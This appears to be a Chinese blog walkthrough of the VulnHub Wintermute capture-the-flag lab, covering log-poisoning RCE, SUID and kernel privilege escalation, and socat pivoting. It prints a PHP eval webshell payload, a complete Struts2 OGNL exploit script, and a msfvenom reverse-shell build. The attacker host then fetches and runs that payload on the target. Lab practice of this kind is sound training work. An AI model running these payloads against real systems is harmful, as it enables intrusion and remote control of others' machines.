Facebook Twitter Linkedin YouTube VK Xing

靶机渗透(wintermute)

挺有意思的一个靶机环境,学到不少东西,记录一下

参考wp:https://hackso.me/wintermute-1-walkthrough/

介绍

https://www.vulnhub.com/entry/wintermute-1,239/

注意,这里环境搭建如下图

即我们的kali主机只能访问straylight靶机,而Neuromancer靶机处在内网,需要我们利用straylight作为跳板进行攻击

Straylight

ip和端口

靶机ip:192.168.1.101
端口扫描情况

探测和拿shell

到80端口,发现就一个静态页面给出背景,没什么有用的信息,到3000端口看下,发现一个登录页面,直接admin/admin一波成功登录,发现是ntop的管理页面

探测一下流量,发现有奇怪的流量

到/turing-bolo看下,然后在case页面发现

访问一下,发现内容相同,猜测有文件包含

想到前面开了25端口,包含一下mail.log试试看

发现成功包含,那么我们去写日志就好,连25端口
然后发送

root@kali:/home/blacsheep#  nc 192.168.1.101 25
220 straylight ESMTP Postfix (Debian/GNU)
MAILFROM:<?php eval($_POST['cmd']);phpinfo();?>
221 2.7.0 Error: I can break rules, too. Goodbye.

发现代码得到执行

蚁剑连一下

suid提权

具体可以去看这篇文章:https://www.anquanke.com/post/id/86979

简而言之

SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性。
但是,如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。

可以用于提权的包括

Nmap
Vim
find
Bash
More
Less
Nano
cp

查找有哪些具有suid权限位而且属于root的文件可以用下面的一些命令

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

靶机上面跑一下,得到下面一些文件

www-data@straylight:/var/www/html/turing-bolo$ find / -perm -4000 -user root 2>/dev/null
<ing-bolo$ find / -perm -4000 -user root 2>/dev/null
/bin/su
/bin/umount
/bin/mount
/bin/screen-4.5.0
/bin/ping
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign

发现有一个screen-4.5.0,searchsploit搜一下

找到可以提权的漏洞了,蚁剑传上去,不过运行会出错,我们手动跑一下,然后拿到root

拿到flag和root下面的note

为了方便,我给straylight装了个ssh,加了个blacsheep用户,这样就可以有一个完整的shell了

Neuromancer

找ip和端口

这个涉及到靶机找ip和端口,最容易想到的肯定是直接去下载一个nmap,然后编译一下扫,不过这里学到一些新知识,可以用shell的循环来扫ip和端口
找ip

for p in $(seq 1 255);do ping -c 1 192.168.29.$p  2>&1 ;done | grep "bytes from"

找到靶机ip:192.168.29.4

然后扫它的端口

for p in $(seq 1 65535);do nc -nvz -w 1 192.168.29.4 $p 2>&1 ;done | grep -v "refused"

端口转发和getshell

straylight靶机上面运行

root@straylight:~# socat tcp-listen:8009,fork tcp:192.168.29.4:8009&
[1] 3740
root@straylight:~# socat tcp-listen:8080,fork tcp:192.168.29.4:8080&
[2] 3765
root@straylight:~# socat tcp-listen:34483,fork tcp:192.168.29.4:34483&
[3] 3803

然后去8080端口,发现是个tomcat的manage页面,尝试爆破一下,失败了

想到之前note里面的那个路径,访问一下

找一下这个有没有漏洞

发现有个代码执行的漏洞,用一下,但是发现并不能执行,这里有人换成了bash的代码,利用curl换掉了requests,可以执行,贴个代码

#!/bin/bash

LHOST=192.168.30.128
LPORT=4321
RHOST=192.168.30.129
RPORT=8080
TARGETURI=struts2_2.3.15.1-showcase/integration
URL=http://$RHOST:$RPORT/$TARGETURI/saveGangster.action
CMD="$1"
PAYLOAD=""
PAYLOAD="${PAYLOAD}%{"
PAYLOAD="${PAYLOAD}(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
PAYLOAD="${PAYLOAD}(#_memberAccess?(#_memberAccess=#dm):"
PAYLOAD="${PAYLOAD}((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
PAYLOAD="${PAYLOAD}(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
PAYLOAD="${PAYLOAD}(#ognlUtil.getExcludedPackageNames().clear())."
PAYLOAD="${PAYLOAD}(#ognlUtil.getExcludedClasses().clear())."
PAYLOAD="${PAYLOAD}(#context.setMemberAccess(#dm))))."
PAYLOAD="${PAYLOAD}(@java.lang.Runtime@getRuntime().exec('$CMD'))"
PAYLOAD="${PAYLOAD}}"

usage() {
  echo "Usage: $(basename $0) [COMMAND]" >&2
  exit 1
}

if [ $# -ne 1 ]; then
  usage
fi

curl -s \
     -H "Referer: http://$RHOST:$RPORT/$TARGETURI/editGangster" \
     --data-urlencode "name=$PAYLOAD" \
     --data-urlencode "age=20" \
     --data-urlencode "__checkbox_bustedBefore=true" \
     --data-urlencode "description=1" \
     -o /dev/null \
     $URL

不过nc版本不支持-e,而且由于我们是使用java.lang.Runtime来执行命令,所以管道符也不能用..

那么我们再做一个端口转发,把访问192.168.1.101的4444的流量转到本机

root@straylight:~# socat tcp-listen:4444,fork tcp:192.168.1.105:4444 &
[4] 5820

然后msfvenom生成木马,scp传到straylight

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.29.3 lport=4444 -f elf -o shell

scp  ./shell  blacsheep@192.168.1.101:/tmp/

把shell放到web目录,然后让Neuromancer去wget下下来执行

./exploit.sh "wget -O /tmp/shell 192.168.29.3/shell"
./exploit.sh "chmod 777 /tmp/shell"
./exploit.sh "sh -c /tmp/shell"

然后拿到meterpreter

提权

先写个ssh-key方便连接

然后把这个写到用户目录的.ssh/authorized_keys

然后ssh -i 连接

查看内核信息

ta@neuromancer:/tmp$ uname -a
Linux neuromancer 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

searchsploit找一下,刚刚好有个版本一致的

目标机没有gcc,本地编译传上去

目标机运行,拿到shell

Leave a Reply

Your email address will not be published.Required fields are marked *

%d 博主赞过: